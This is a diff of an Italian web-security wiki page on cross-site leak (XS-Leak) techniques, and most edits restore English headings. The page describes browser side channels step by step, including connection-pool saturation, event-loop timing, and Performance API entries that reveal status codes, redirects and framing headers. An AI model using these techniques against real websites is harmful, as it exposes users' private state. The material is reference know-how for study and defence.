||||
- **Summary**: **Cross-Origin Read Blocking (CORB)** è una misura di sicurezza che impedisce alle pagine web di caricare determinate risorse sensibili cross-origin per proteggere contro attacchi come **Spectre**. Tuttavia, gli attaccanti possono sfruttare il suo comportamento protettivo. Quando una risposta soggetta a **CORB** restituisce un `Content-Type` _**protetto da CORB**_ con `nosniff` e un codice di stato `2xx`, **CORB** rimuove il corpo e le intestazioni della risposta. Gli attaccanti che osservano questo possono dedurre la combinazione del **codice di stato** (che indica successo o errore) e il `Content-Type` (che denota se è protetto da **CORB**), portando a potenziali perdite di informazioni.
|
||||
- **Code Example**:
|
||||
@ -172,9 +172,9 @@ Controlla il link per ulteriori informazioni sull'attacco.
|
||||
### onblur
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Contenuto della pagina
|
||||
- **Detectable Difference**: Page Content
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
|
||||
- **Summary**: Perdita di dati sensibili dall'attributo id o nome.
|
||||
- **Summary**: Perdita di dati sensibili dall'attributo id o name.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
|
||||
|
||||
È possibile **caricare una pagina** all'interno di un **iframe** e utilizzare il **`#id_value`** per far **focalizzare la pagina** sull'elemento dell'iframe con l'id indicato, quindi se viene attivato un segnale **`onblur`**, l'elemento ID esiste.\
|
||||
@ -183,40 +183,40 @@ Puoi eseguire lo stesso attacco con i tag **`portal`**.
|
||||
### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
|
||||
|
||||
- **Inclusion Methods**: Frames, Pop-ups
|
||||
- **Detectable Difference**: Utilizzo API
|
||||
- **Detectable Difference**: API Usage
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
|
||||
- **Summary**: Raccogliere informazioni sensibili da un postMessage o utilizzare la presenza di postMessages come un oracolo per conoscere lo stato dell'utente nella pagina
|
||||
- **Code Example**: `Qualsiasi codice che ascolta tutti i postMessages.`
|
||||
- **Code Example**: `Any code listening for all postMessages.`
|
||||
|
||||
Le applicazioni utilizzano frequentemente i [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) per comunicare tra origini diverse. Tuttavia, questo metodo può involontariamente esporre **informazioni sensibili** se il parametro `targetOrigin` non è specificato correttamente, consentendo a qualsiasi finestra di ricevere i messaggi. Inoltre, il semplice atto di ricevere un messaggio può fungere da **oracolo**; ad esempio, alcuni messaggi potrebbero essere inviati solo agli utenti che sono connessi. Pertanto, la presenza o l'assenza di questi messaggi può rivelare informazioni sullo stato o sull'identità dell'utente, come se siano autenticati o meno.
|
||||
Le applicazioni utilizzano frequentemente i [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) per comunicare tra origini diverse. Tuttavia, questo metodo può esporre involontariamente **informazioni sensibili** se il parametro `targetOrigin` non è specificato correttamente, consentendo a qualsiasi finestra di ricevere i messaggi. Inoltre, il semplice atto di ricevere un messaggio può fungere da **oracolo**; ad esempio, alcuni messaggi potrebbero essere inviati solo agli utenti che sono connessi. Pertanto, la presenza o l'assenza di questi messaggi può rivelare informazioni sullo stato o sull'identità dell'utente, come se siano autenticati o meno.
|
||||
|
||||
## Tecniche di Limiti Globali
|
||||
## Global Limits Techniques
|
||||
|
||||
### WebSocket API
|
||||
|
||||
- **Inclusion Methods**: Frames, Pop-ups
|
||||
- **Detectable Difference**: Utilizzo API
|
||||
- **Detectable Difference**: API Usage
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
|
||||
- **Summary**: Esaurire il limite di connessione WebSocket rivela il numero di connessioni WebSocket di una pagina cross-origin.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
|
||||
|
||||
È possibile identificare se, e quante, **connessioni WebSocket una pagina target utilizza**. Ciò consente a un attaccante di rilevare stati dell'applicazione e di rivelare informazioni legate al numero di connessioni WebSocket.
|
||||
|
||||
Se un **origin** utilizza il **massimo numero di oggetti di connessione WebSocket**, indipendentemente dal loro stato di connessione, la creazione di **nuovi oggetti genererà eccezioni JavaScript**. Per eseguire questo attacco, il sito web dell'attaccante apre il sito web target in un pop-up o iframe e poi, dopo che il sito web target è stato caricato, tenta di creare il numero massimo possibile di connessioni WebSocket. Il **numero di eccezioni generate** è il **numero di connessioni WebSocket utilizzate dalla finestra del sito web target**.
|
||||
Se un **origin** utilizza il **massimo numero di oggetti di connessione WebSocket**, indipendentemente dal loro stato di connessione, la creazione di **nuovi oggetti genererà eccezioni JavaScript**. Per eseguire questo attacco, il sito web dell'attaccante apre il sito web target in un pop-up o iframe e poi, dopo che il sito web target è stato caricato, tenta di creare il massimo numero possibile di connessioni WebSocket. Il **numero di eccezioni generate** è il **numero di connessioni WebSocket utilizzate dalla finestra del sito web target**.
|
||||
|
||||
### Payment API
|
||||
|
||||
- **Inclusion Methods**: Frames, Pop-ups
|
||||
- **Detectable Difference**: Utilizzo API
|
||||
- **Detectable Difference**: API Usage
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
|
||||
- **Summary**: Rilevare la richiesta di pagamento perché solo una può essere attiva alla volta.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
|
||||
|
||||
Questa XS-Leak consente a un attaccante di **rilevare quando una pagina cross-origin avvia una richiesta di pagamento**.
|
||||
|
||||
Poiché **solo una richiesta di pagamento può essere attiva** alla volta, se il sito web target utilizza l'API di richiesta di pagamento, qualsiasi ulteriore tentativo di utilizzare questa API fallirà**, e causerà un'**eccezione JavaScript**. L'attaccante può sfruttare questo tentando **periodicamente di mostrare l'interfaccia utente dell'API di pagamento**. Se un tentativo causa un'eccezione, il sito web target la sta attualmente utilizzando. L'attaccante può nascondere questi tentativi periodici chiudendo immediatamente l'interfaccia utente dopo la creazione.
|
||||
Poiché **solo una richiesta di pagamento può essere attiva** alla volta, se il sito web target utilizza l'API di richiesta di pagamento, qualsiasi ulteriore tentativo di utilizzare questa API fallirà e causerà un'**eccezione JavaScript**. L'attaccante può sfruttare questo tentando **periodicamente di mostrare l'interfaccia utente dell'API di pagamento**. Se un tentativo causa un'eccezione, il sito web target la sta attualmente utilizzando. L'attaccante può nascondere questi tentativi periodici chiudendo immediatamente l'interfaccia utente dopo la creazione.
|
||||
|
||||
### Timing del Ciclo di Eventi <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
|
||||
### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
|
||||
|
||||
- **Inclusion Methods**:
|
||||
- **Detectable Difference**: Timing (generalmente a causa del contenuto della pagina, codice di stato)
|
||||
@ -228,27 +228,27 @@ Poiché **solo una richiesta di pagamento può essere attiva** alla volta, se il
|
||||
xs-search/event-loop-blocking-+-lazy-images.md
|
||||
{{#endref}}
|
||||
|
||||
JavaScript opera su un modello di concorrenza [a ciclo di eventi a thread singolo](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), il che significa che **può eseguire solo un'attività alla volta**. Questa caratteristica può essere sfruttata per valutare **quanto tempo impiega il codice di un'origine diversa per essere eseguito**. Un attaccante può misurare il tempo di esecuzione del proprio codice nel ciclo di eventi inviando continuamente eventi con proprietà fisse. Questi eventi verranno elaborati quando il pool di eventi è vuoto. Se altre origini stanno anche inviando eventi allo stesso pool, un **attaccante può dedurre il tempo necessario per l'esecuzione di questi eventi esterni osservando i ritardi nell'esecuzione delle proprie attività**. Questo metodo di monitoraggio del ciclo di eventi per ritardi può rivelare il tempo di esecuzione del codice proveniente da origini diverse, esponendo potenzialmente informazioni sensibili.
|
||||
JavaScript opera su un modello di concorrenza a [ciclo di eventi a thread singolo](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), il che significa che **può eseguire solo un'attività alla volta**. Questa caratteristica può essere sfruttata per valutare **quanto tempo impiega il codice di un'origine diversa per essere eseguito**. Un attaccante può misurare il tempo di esecuzione del proprio codice nel ciclo di eventi inviando continuamente eventi con proprietà fisse. Questi eventi verranno elaborati quando il pool di eventi è vuoto. Se altre origini stanno anche inviando eventi allo stesso pool, un **attaccante può dedurre il tempo necessario per l'esecuzione di questi eventi esterni osservando i ritardi nell'esecuzione delle proprie attività**. Questo metodo di monitoraggio del ciclo di eventi per ritardi può rivelare il tempo di esecuzione del codice proveniente da origini diverse, esponendo potenzialmente informazioni sensibili.
|
||||
|
||||
> [!WARNING]
|
||||
> In un timing di esecuzione è possibile **eliminare** **fattori di rete** per ottenere **misurazioni più precise**. Ad esempio, caricando le risorse utilizzate dalla pagina prima di caricarla.
|
||||
|
||||
### Ciclo di Eventi Occupato <a href="#busy-event-loop" id="busy-event-loop"></a>
|
||||
### Busy Event Loop <a href="#busy-event-loop" id="busy-event-loop"></a>
|
||||
|
||||
- **Inclusion Methods**:
|
||||
- **Detectable Difference**: Timing (generalmente a causa del contenuto della pagina, codice di stato)
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
|
||||
- **Summary:** Un metodo per misurare il tempo di esecuzione di un'operazione web comporta il blocco intenzionale del ciclo di eventi di un thread e quindi misurare **quanto tempo impiega il ciclo di eventi a diventare nuovamente disponibile**. Inserendo un'operazione di blocco (come un lungo calcolo o una chiamata API sincrona) nel ciclo di eventi e monitorando il tempo necessario affinché il codice successivo inizi a essere eseguito, si può dedurre la durata delle attività che venivano eseguite nel ciclo di eventi durante il periodo di blocco. Questa tecnica sfrutta la natura a thread singolo del ciclo di eventi di JavaScript, dove le attività vengono eseguite in sequenza, e può fornire informazioni sulle prestazioni o sul comportamento di altre operazioni che condividono lo stesso thread.
|
||||
- **Summary:** Un metodo per misurare il tempo di esecuzione di un'operazione web comporta il blocco intenzionale del ciclo di eventi di un thread e quindi il tempo **necessario affinché il ciclo di eventi diventi nuovamente disponibile**. Inserendo un'operazione di blocco (come un lungo calcolo o una chiamata API sincrona) nel ciclo di eventi e monitorando il tempo necessario affinché il codice successivo inizi a essere eseguito, si può dedurre la durata delle attività che stavano eseguendo nel ciclo di eventi durante il periodo di blocco. Questa tecnica sfrutta la natura a thread singolo del ciclo di eventi di JavaScript, dove le attività vengono eseguite in sequenza, e può fornire informazioni sulle prestazioni o sul comportamento di altre operazioni che condividono lo stesso thread.
|
||||
- **Code Example**:
|
||||
|
||||
Un vantaggio significativo della tecnica di misurazione del tempo di esecuzione bloccando il ciclo di eventi è il suo potenziale di eludere la **Isolamento del Sito**. **Isolamento del Sito** è una funzione di sicurezza che separa diversi siti web in processi separati, mirando a impedire ai siti dannosi di accedere direttamente a dati sensibili di altri siti. Tuttavia, influenzando il timing di esecuzione di un'altra origine attraverso il ciclo di eventi condiviso, un attaccante può indirettamente estrarre informazioni sulle attività di quell'origine. Questo metodo non si basa su un accesso diretto ai dati dell'altra origine, ma piuttosto osserva l'impatto delle attività di quell'origine sul ciclo di eventi condiviso, eludendo così le barriere protettive stabilite da **Isolamento del Sito**.
|
||||
Un vantaggio significativo della tecnica di misurazione del tempo di esecuzione bloccando il ciclo di eventi è il suo potenziale di eludere **Site Isolation**. **Site Isolation** è una funzione di sicurezza che separa diversi siti web in processi separati, con l'obiettivo di impedire ai siti dannosi di accedere direttamente a dati sensibili di altri siti. Tuttavia, influenzando il timing di esecuzione di un'altra origine attraverso il ciclo di eventi condiviso, un attaccante può estrarre indirettamente informazioni sulle attività di quell'origine. Questo metodo non si basa su un accesso diretto ai dati dell'altra origine, ma piuttosto osserva l'impatto delle attività di quell'origine sul ciclo di eventi condiviso, eludendo così le barriere protettive stabilite da **Site Isolation**.
|
||||
|
||||
> [!WARNING]
|
||||
> In un timing di esecuzione è possibile **eliminare** **fattori di rete** per ottenere **misurazioni più precise**. Ad esempio, caricando le risorse utilizzate dalla pagina prima di caricarla.
|
||||
|
||||
### Pool di Connessione
|
||||
### Connection Pool
|
||||
|
||||
- **Inclusion Methods**: Richieste JavaScript
|
||||
- **Inclusion Methods**: JavaScript Requests
|
||||
- **Detectable Difference**: Timing (generalmente a causa del contenuto della pagina, codice di stato)
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
||||
- **Summary:** Un attaccante potrebbe bloccare tutti i socket tranne 1, caricare il web target e contemporaneamente caricare un'altra pagina, il tempo fino a quando l'ultima pagina inizia a caricarsi è il tempo che la pagina target ha impiegato per caricarsi.
|
||||
@ -263,138 +263,138 @@ I browser utilizzano socket per la comunicazione con il server, ma a causa delle
|
||||
1. Accertare il limite di socket del browser, ad esempio, 256 socket globali.
|
||||
2. Occupare 255 socket per un lungo periodo avviando 255 richieste a vari host, progettate per mantenere le connessioni aperte senza completarle.
|
||||
3. Utilizzare il 256° socket per inviare una richiesta alla pagina target.
|
||||
4. Tentare una 257° richiesta a un host diverso. Poiché tutti i socket sono in uso (come da passaggi 2 e 3), questa richiesta verrà messa in coda fino a quando un socket diventa disponibile. Il ritardo prima che questa richiesta proceda fornisce all'attaccante informazioni temporali sull'attività di rete relativa al socket del 256° (il socket della pagina target). Questa deduzione è possibile perché i 255 socket del passaggio 2 sono ancora impegnati, il che implica che qualsiasi nuovo socket disponibile deve essere quello rilasciato dal passaggio 3. Il tempo impiegato affinché il 256° socket diventi disponibile è quindi direttamente collegato al tempo necessario affinché la richiesta alla pagina target venga completata.
|
||||
4. Tentare una 257° richiesta a un host diverso. Poiché tutti i socket sono in uso (come da passaggi 2 e 3), questa richiesta verrà messa in coda fino a quando un socket non diventa disponibile. Il ritardo prima che questa richiesta proceda fornisce all'attaccante informazioni temporali sull'attività di rete relativa al 256° socket (il socket della pagina target). Questa deduzione è possibile perché i 255 socket del passaggio 2 sono ancora impegnati, il che implica che qualsiasi socket appena disponibile deve essere quello rilasciato dal passaggio 3. Il tempo impiegato affinché il 256° socket diventi disponibile è quindi direttamente collegato al tempo necessario affinché la richiesta alla pagina target venga completata.
|
||||
|
||||
Per ulteriori informazioni: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
||||
|
||||
### Pool di Connessione per Destinazione
|
||||
### Connection Pool by Destination
|
||||
|
||||
- **Inclusion Methods**: Richieste JavaScript
|
||||
- **Inclusion Methods**: JavaScript Requests
|
||||
- **Detectable Difference**: Timing (generalmente a causa del contenuto della pagina, codice di stato)
|
||||
- **More info**:
|
||||
- **Summary:** È simile alla tecnica precedente, ma invece di utilizzare tutti i socket, Google **Chrome** impone un limite di **6 richieste concorrenti alla stessa origine**. Se **blocchiamo 5** e poi **lanciamo una 6°** richiesta possiamo **misurarla** e se siamo riusciti a far **inviare più richieste** alla **pagina vittima** allo stesso endpoint per rilevare uno **stato** della **pagina**, la **6° richiesta** impiegherà **più tempo** e possiamo rilevarlo.
|
||||
- **Summary:** È simile alla tecnica precedente, ma invece di utilizzare tutti i socket, Google **Chrome** impone un limite di **6 richieste concorrenti alla stessa origine**. Se **blocchiamo 5** e poi **lanciamo una 6°** richiesta possiamo **misurarla** e se siamo riusciti a far **inviare alla pagina vittima** più **richieste** allo stesso endpoint per rilevare uno **stato** della **pagina**, la **6° richiesta** impiegherà **più tempo** e possiamo rilevarlo.
|
||||
|
||||
## Tecniche dell'API di Prestazioni
|
||||
## Performance API Techniques
|
||||
|
||||
L'[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) offre informazioni sulle metriche di prestazione delle applicazioni web, ulteriormente arricchite dall'[`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). L'API di Timing delle Risorse consente di monitorare i tempi dettagliati delle richieste di rete, come la durata delle richieste. Notabilmente, quando i server includono l'intestazione `Timing-Allow-Origin: *` nelle loro risposte, dati aggiuntivi come la dimensione del trasferimento e il tempo di ricerca del dominio diventano disponibili.
|
||||
L'[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) offre informazioni sulle metriche di prestazione delle applicazioni web, ulteriormente arricchite dall'[`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). L'API di temporizzazione delle risorse consente di monitorare i tempi dettagliati delle richieste di rete, come la durata delle richieste. Notabilmente, quando i server includono l'intestazione `Timing-Allow-Origin: *` nelle loro risposte, dati aggiuntivi come la dimensione del trasferimento e il tempo di ricerca del dominio diventano disponibili.
|
||||
|
||||
Questa ricchezza di dati può essere recuperata tramite metodi come [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) o [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), fornendo una visione completa delle informazioni relative alle prestazioni. Inoltre, l'API facilita la misurazione dei tempi di esecuzione calcolando la differenza tra i timestamp ottenuti da [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Tuttavia, vale la pena notare che per alcune operazioni in browser come Chrome, la precisione di `performance.now()` può essere limitata ai millisecondi, il che potrebbe influenzare la granularità delle misurazioni temporali.
|
||||
|
||||
Oltre alle misurazioni temporali, l'API di Prestazioni può essere sfruttata per informazioni relative alla sicurezza. Ad esempio, la presenza o l'assenza di pagine nell'oggetto `performance` in Chrome può indicare l'applicazione di `X-Frame-Options`. In particolare, se una pagina è bloccata dal rendering in un frame a causa di `X-Frame-Options`, non verrà registrata nell'oggetto `performance`, fornendo un indizio sottile sulle politiche di framing della pagina.
|
||||
Oltre alle misurazioni temporali, l'API delle prestazioni può essere sfruttata per informazioni relative alla sicurezza. Ad esempio, la presenza o l'assenza di pagine nell'oggetto `performance` in Chrome può indicare l'applicazione di `X-Frame-Options`. In particolare, se una pagina è bloccata dal rendering in un frame a causa di `X-Frame-Options`, non verrà registrata nell'oggetto `performance`, fornendo un indizio sottile sulle politiche di framing della pagina.
|
||||
|
||||
### Perdita di Errori
|
||||
### Error Leak
|
||||
|
||||
- **Inclusion Methods**: Frames, HTML Elements
|
||||
- **Detectable Difference**: Codice di stato
|
||||
- **Detectable Difference**: Status Code
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** Una richiesta che genera errori non creerà un'entrata di timing delle risorse.
|
||||
- **Summary:** Una richiesta che genera errori non creerà un'entrata di temporizzazione delle risorse.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
|
||||
|
||||
È possibile **differenziare tra i codici di stato delle risposte HTTP** perché le richieste che portano a un **errore** non **creano un'entrata di prestazione**.
|
||||
È possibile **differenziare tra i codici di stato della risposta HTTP** perché le richieste che portano a un **errore** non **creano un'entrata di prestazione**.
|
||||
|
||||
### Errore di Ricarica Stile
|
||||
### Style Reload Error
|
||||
|
||||
- **Inclusion Methods**: HTML Elements
|
||||
- **Detectable Difference**: Codice di stato
|
||||
- **Detectable Difference**: Status Code
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** A causa di un bug del browser, le richieste che generano errori vengono caricate due volte.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
|
||||
|
||||
Nella tecnica precedente sono stati identificati anche due casi in cui i bug del browser in GC portano a **risorse caricate due volte quando non riescono a caricarsi**. Questo porterà a più voci nell'API di Prestazioni e può quindi essere rilevato.
|
||||
Nella tecnica precedente sono stati identificati anche due casi in cui i bug del browser in GC portano a **risorse caricate due volte quando non riescono a caricarsi**. Questo porterà a più voci nell'API delle prestazioni e può quindi essere rilevato.
|
||||
|
||||
### Errore di Fusione Richieste
|
||||
### Request Merging Error
|
||||
|
||||
- **Inclusion Methods**: HTML Elements
|
||||
- **Detectable Difference**: Codice di stato
|
||||
- **Detectable Difference**: Status Code
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** Le richieste che generano un errore non possono essere unite.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
|
||||
|
||||
La tecnica è stata trovata in una tabella nel documento menzionato, ma non è stata trovata alcuna descrizione della tecnica. Tuttavia, puoi trovare il codice sorgente controllandolo in [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
|
||||
|
||||
### Perdita di Pagina Vuota
|
||||
### Empty Page Leak
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Contenuto della pagina
|
||||
- **Detectable Difference**: Page Content
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** Le risposte vuote non creano voci di timing delle risorse.
|
||||
- **Summary:** Le risposte vuote non creano voci di temporizzazione delle risorse.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
|
||||
|
||||
Un attaccante può rilevare se una richiesta ha portato a un corpo di risposta HTTP vuoto perché **le pagine vuote non creano un'entrata di prestazione in alcuni browser**.
|
||||
Un attaccante può rilevare se una richiesta ha portato a un corpo di risposta HTTP vuoto perché le **pagine vuote non creano un'entrata di prestazione in alcuni browser**.
|
||||
|
||||
### **Perdita di XSS-Auditor**
|
||||
### **XSS-Auditor Leak**
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Contenuto della pagina
|
||||
- **Detectable Difference**: Page Content
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** Utilizzando l'Auditor XSS nelle Assicurazioni di Sicurezza, gli attaccanti possono rilevare specifici elementi della pagina web osservando le alterazioni nelle risposte quando i payload creati attivano il meccanismo di filtraggio dell'auditor.
|
||||
- **Summary:** Utilizzando l'Auditor XSS nelle Security Assertions, gli attaccanti possono rilevare specifici elementi della pagina web osservando le alterazioni nelle risposte quando i payload creati attivano il meccanismo di filtraggio dell'auditor.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
|
||||
|
||||
Nelle Assicurazioni di Sicurezza (SA), l'Auditor XSS, originariamente destinato a prevenire attacchi Cross-Site Scripting (XSS), può paradossalmente essere sfruttato per rivelare informazioni sensibili. Sebbene questa funzione integrata sia stata rimossa da Google Chrome (GC), è ancora presente in SA. Nel 2013, Braun e Heiderich hanno dimostrato che l'Auditor XSS potrebbe bloccare involontariamente script legittimi, portando a falsi positivi. Sviluppando ulteriormente questo, i ricercatori hanno sviluppato tecniche per estrarre informazioni e rilevare contenuti specifici su pagine cross-origin, un concetto noto come XS-Leaks, inizialmente riportato da Terada e approfondito da Heyes in un post sul blog. Sebbene queste tecniche fossero specifiche per l'Auditor XSS in GC, è stato scoperto che in SA, le pagine bloccate dall'Auditor XSS non generano voci nell'API di Prestazioni, rivelando un metodo attraverso il quale informazioni sensibili potrebbero ancora essere rivelate.
|
||||
Nelle Security Assertions (SA), l'Auditor XSS, originariamente destinato a prevenire attacchi Cross-Site Scripting (XSS), può paradossalmente essere sfruttato per rivelare informazioni sensibili. Sebbene questa funzione integrata sia stata rimossa da Google Chrome (GC), è ancora presente in SA. Nel 2013, Braun e Heiderich dimostrarono che l'Auditor XSS poteva bloccare involontariamente script legittimi, portando a falsi positivi. Sviluppando ulteriormente questo, i ricercatori hanno sviluppato tecniche per estrarre informazioni e rilevare contenuti specifici su pagine cross-origin, un concetto noto come XS-Leaks, inizialmente riportato da Terada e approfondito da Heyes in un post sul blog. Sebbene queste tecniche fossero specifiche per l'Auditor XSS in GC, è stato scoperto che in SA, le pagine bloccate dall'Auditor XSS non generano voci nell'API delle prestazioni, rivelando un metodo attraverso il quale informazioni sensibili potrebbero ancora essere rivelate.
|
||||
|
||||
### Perdita di X-Frame
|
||||
### X-Frame Leak
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Intestazione
|
||||
- **Detectable Difference**: Header
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
|
||||
- **Summary:** Le risorse con intestazione X-Frame-Options non creano un'entrata di timing delle risorse.
|
||||
- **Summary:** Le risorse con intestazione X-Frame-Options non creano un'entrata di temporizzazione delle risorse.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
|
||||
|
||||
Se una pagina **non è consentita** ad essere **renderizzata** in un **iframe**, non crea **un'entrata di prestazione**. Di conseguenza, un attaccante può rilevare l'intestazione di risposta **`X-Frame-Options`**.\
|
||||
Se una pagina non è **consentita** a essere **renderizzata** in un **iframe**, non crea **un'entrata di prestazione**. Di conseguenza, un attaccante può rilevare l'intestazione di risposta **`X-Frame-Options`**.\
|
||||
Lo stesso accade se utilizzi un **tag embed**.
|
||||
|
||||
### Rilevamento Download
|
||||
### Download Detection
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Intestazione
|
||||
- **Detectable Difference**: Header
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** I download non creano voci di timing delle risorse nell'API di Prestazioni.
|
||||
- **Summary:** I download non creano voci di temporizzazione delle risorse nell'API delle prestazioni.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
|
||||
|
||||
Simile alla XS-Leak descritta, una **risorsa che viene scaricata** a causa dell'intestazione ContentDisposition, non crea **un'entrata di prestazione**. Questa tecnica funziona in tutti i principali browser.
|
||||
Simile all'XS-Leak descritto, una **risorsa che viene scaricata** a causa dell'intestazione ContentDisposition, non crea **un'entrata di prestazione**. Questa tecnica funziona in tutti i principali browser.
|
||||
|
||||
### Perdita di Inizio Redirect
|
||||
### Redirect Start Leak
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Redirect
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** L'entrata di timing delle risorse rivela l'orario di inizio di un redirect.
|
||||
- **Summary:** L'entrata di temporizzazione delle risorse rivela il tempo di inizio di un reindirizzamento.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
|
||||
|
||||
Abbiamo trovato un'istanza di XS-Leak che sfrutta il comportamento di alcuni browser che registrano troppe informazioni per le richieste cross-origin. Lo standard definisce un sottoinsieme di attributi che dovrebbero essere impostati a zero per le risorse cross-origin. Tuttavia, in **SA** è possibile rilevare se l'utente è **stato reindirizzato** dalla pagina target, interrogando l'**API di Prestazioni** e controllando i dati temporali di **redirectStart**.
|
||||
Abbiamo trovato un'istanza di XS-Leak che sfrutta il comportamento di alcuni browser che registrano troppe informazioni per le richieste cross-origin. Lo standard definisce un sottoinsieme di attributi che dovrebbero essere impostati a zero per le risorse cross-origin. Tuttavia, in **SA** è possibile rilevare se l'utente è **reindirizzato** dalla pagina target, interrogando l'**API delle prestazioni** e controllando i dati temporali di **redirectStart**.
|
||||
|
||||
### Perdita di Durata Redirect
|
||||
### Duration Redirect Leak
|
||||
|
||||
- **Inclusion Methods**: Fetch API
|
||||
- **Detectable Difference**: Redirect
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** La durata delle voci di timing è negativa quando si verifica un redirect.
|
||||
- **Summary:** La durata delle voci temporali è negativa quando si verifica un reindirizzamento.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
|
||||
|
||||
In GC, la **durata** per le richieste che portano a un **redirect** è **negativa** e può quindi essere **distinta** dalle richieste che non portano a un redirect.
|
||||
In GC, la **durata** per le richieste che portano a un **reindirizzamento** è **negativa** e può quindi essere **distinta** dalle richieste che non portano a un reindirizzamento.
|
||||
|
||||
### Perdita CORP
|
||||
### CORP Leak
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Intestazione
|
||||
- **Detectable Difference**: Header
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
